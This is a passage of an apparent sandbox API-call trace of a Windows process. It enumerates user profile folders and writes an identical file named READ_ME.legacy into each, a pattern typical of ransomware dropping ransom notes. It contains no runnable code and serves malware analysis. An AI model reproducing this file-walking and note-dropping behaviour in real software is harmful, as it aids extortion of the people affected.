dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0109.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0109.476] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.476] GetLastError () returned 0x0 [0109.482] SetLastError (dwErrCode=0x0) [0109.482] GetLastError () returned 0x0 [0109.482] SetLastError (dwErrCode=0x0) [0109.482] GetLastError () returned 0x0 [0109.482] SetLastError (dwErrCode=0x0) [0109.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0109.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0109.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0109.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0109.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2d0 [0109.482] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3588 [0109.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0109.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.483] GetLastError () returned 0x0 [0109.483] SetLastError (dwErrCode=0x0) [0109.483] GetLastError () returned 0x0 [0109.483] SetLastError (dwErrCode=0x0) [0109.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0109.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.483] GetLastError () returned 0x0 [0109.483] SetLastError (dwErrCode=0x0) [0109.483] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0109.483] CreateFileW (lpFileName="\\Users\\All Users\\Start Menu\\READ_ME.legacy" (normalized: "c:\\users\\all users\\start menu\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.484] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0109.484] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.486] CloseHandle (hObject=0x588) returned 1 [0109.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0109.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3588 | out: hHeap=0x520000) returned 1 [0109.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.486] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0109.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.487] GetLastError () returned 0x0 [0109.487] SetLastError (dwErrCode=0x0) [0109.487] GetLastError () returned 0x0 [0109.487] SetLastError (dwErrCode=0x0) [0109.487] GetLastError () returned 0x0 [0109.487] SetLastError (dwErrCode=0x0) [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d640 [0109.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0109.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d640 | out: hHeap=0x520000) returned 1 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2f8 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3568 [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.487] GetLastError () returned 0x0 [0109.487] SetLastError (dwErrCode=0x0) [0109.487] GetLastError () returned 0x0 [0109.487] SetLastError (dwErrCode=0x0) [0109.487] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0109.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.488] GetLastError () returned 0x0 [0109.488] SetLastError (dwErrCode=0x0) [0109.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0109.488] CreateFileW (lpFileName="\\Users\\All Users\\Templates\\READ_ME.legacy" (normalized: "c:\\users\\all users\\templates\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.489] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0109.489] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.490] CloseHandle (hObject=0x588) returned 1 [0109.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0109.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3568 | out: hHeap=0x520000) returned 1 [0109.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0109.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.490] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0109.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.490] GetLastError () returned 0x0 [0109.490] SetLastError (dwErrCode=0x0) [0109.491] GetLastError () returned 0x0 [0109.491] SetLastError (dwErrCode=0x0) [0109.491] GetLastError () returned 0x0 [0109.491] SetLastError (dwErrCode=0x0) [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5f0 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0109.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5f0 | out: hHeap=0x520000) returned 1 [0109.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d2a8 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.491] GetLastError () returned 0x0 [0109.491] SetLastError (dwErrCode=0x0) [0109.491] GetLastError () returned 0x0 [0109.491] SetLastError (dwErrCode=0x0) [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0109.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.491] GetLastError () returned 0x0 [0109.491] SetLastError (dwErrCode=0x0) [0109.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0109.492] CreateFileW (lpFileName="\\Users\\All Users\\USOPrivate\\READ_ME.legacy" (normalized: "c:\\users\\all users\\usoprivate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.493] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0109.493] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.494] CloseHandle (hObject=0x588) returned 1 [0109.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0109.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0109.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0109.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0109.494] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0109.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.494] GetLastError () returned 0x0 [0109.495] SetLastError (dwErrCode=0x0) [0109.495] GetLastError () returned 0x0 [0109.495] SetLastError (dwErrCode=0x0) [0109.495] GetLastError () returned 0x0 [0109.495] SetLastError (dwErrCode=0x0) [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d398 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0109.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0109.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d348 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3528 [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.495] GetLastError () returned 0x0 [0109.495] SetLastError (dwErrCode=0x0) [0109.495] GetLastError () returned 0x0 [0109.495] SetLastError (dwErrCode=0x0) [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0109.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.495] GetLastError () returned 0x0 [0109.495] SetLastError (dwErrCode=0x0) [0109.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0109.496] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\READ_ME.legacy" (normalized: "c:\\users\\all users\\usoshared\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0109.496] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.497] CloseHandle (hObject=0x588) returned 1 [0109.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0109.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3528 | out: hHeap=0x520000) returned 1 [0109.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0109.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0109.497] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0109.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0109.498] GetLastError () returned 0x0 [0109.498] SetLastError (dwErrCode=0x0) [0109.498] GetLastError () returned 0x0 [0109.498] SetLastError (dwErrCode=0x0) [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5592f8 [0109.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.498] GetLastError () returned 0x0 [0109.498] SetLastError (dwErrCode=0x0) [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d208 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3588 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0109.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.499] GetLastError () returned 0x0 [0109.499] SetLastError (dwErrCode=0x0) [0109.499] GetLastError () returned 0x0 [0109.499] SetLastError (dwErrCode=0x0) [0109.499] GetLastError () returned 0x0 [0109.499] SetLastError (dwErrCode=0x0) [0109.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0109.499] CreateFileW (lpFileName="\\Users\\All Users\\WindowsHolographicDevices\\READ_ME.legacy" (normalized: "c:\\users\\all users\\windowsholographicdevices\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x588 [0109.534] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0109.534] WriteFile (in: hFile=0x588, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.535] CloseHandle (hObject=0x588) returned 1 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3588 | out: hHeap=0x520000) returned 1 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0109.535] FindNextFileW (in: hFindFile=0x5c5818, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0109.535] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f20 | out: hHeap=0x520000) returned 1 [0109.535] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b80 | out: hHeap=0x520000) returned 1 [0109.536] FindFirstFileW (in: lpFileName="\\Users\\Default User\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0xffffffff [0109.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0109.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ee8 | out: hHeap=0x520000) returned 1 [0109.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566eb0 | out: hHeap=0x520000) returned 1 [0109.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0109.536] FindFirstFileW (in: lpFileName="\\Users\\Default.migrated\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5dd8 [0109.536] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0109.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0109.536] GetLastError () returned 0x5 [0109.536] SetLastError (dwErrCode=0x5) [0109.536] GetLastError () returned 0x5 [0109.536] SetLastError (dwErrCode=0x5) [0109.536] GetLastError () returned 0x5 [0109.536] SetLastError (dwErrCode=0x5) [0109.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e40 [0109.536] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0109.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0109.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5858 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5858 | out: hHeap=0x520000) returned 1 [0109.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e40 | out: hHeap=0x520000) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x5c5dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31bae0f4, ftCreationTime.dwHighDateTime=0x1d112dc, ftLastAccessTime.dwLowDateTime=0xc40864ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6811a58, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0109.537] GetLastError () returned 0x5 [0109.537] SetLastError (dwErrCode=0x5) [0109.537] GetLastError () returned 0x5 [0109.537] SetLastError (dwErrCode=0x5) [0109.537] GetLastError () returned 0x5 [0109.537] SetLastError (dwErrCode=0x5) [0109.537] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566dd0 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5858 | out: hHeap=0x520000) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0109.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd0 | out: hHeap=0x520000) returned 1 [0109.537] FindNextFileW (in: hFindFile=0x5c5dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x7205420a, ftLastAccessTime.dwHighDateTime=0x1d32720, ftLastWriteTime.dwLowDateTime=0x7205420a, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0109.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0109.538] GetLastError () returned 0x5 [0109.538] SetLastError (dwErrCode=0x5) [0109.538] GetLastError () returned 0x5 [0109.538] SetLastError (dwErrCode=0x5) [0109.538] GetLastError () returned 0x5 [0109.538] SetLastError (dwErrCode=0x5) [0109.538] GetLastError () returned 0x5 [0109.538] SetLastError (dwErrCode=0x5) [0109.538] GetLastError () returned 0x5 [0109.538] SetLastError (dwErrCode=0x5) [0109.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.538] GetLastError () returned 0x5 [0109.538] SetLastError (dwErrCode=0x5) [0109.538] CreateFileW (lpFileName="\\Users\\Default.migrated\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\default.migrated\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58c [0109.539] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0109.539] WriteFile (in: hFile=0x58c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0109.540] CloseHandle (hObject=0x58c) returned 1 [0109.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0109.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0109.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0109.540] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.540] FindNextFileW (in: hFindFile=0x5c5dd8, 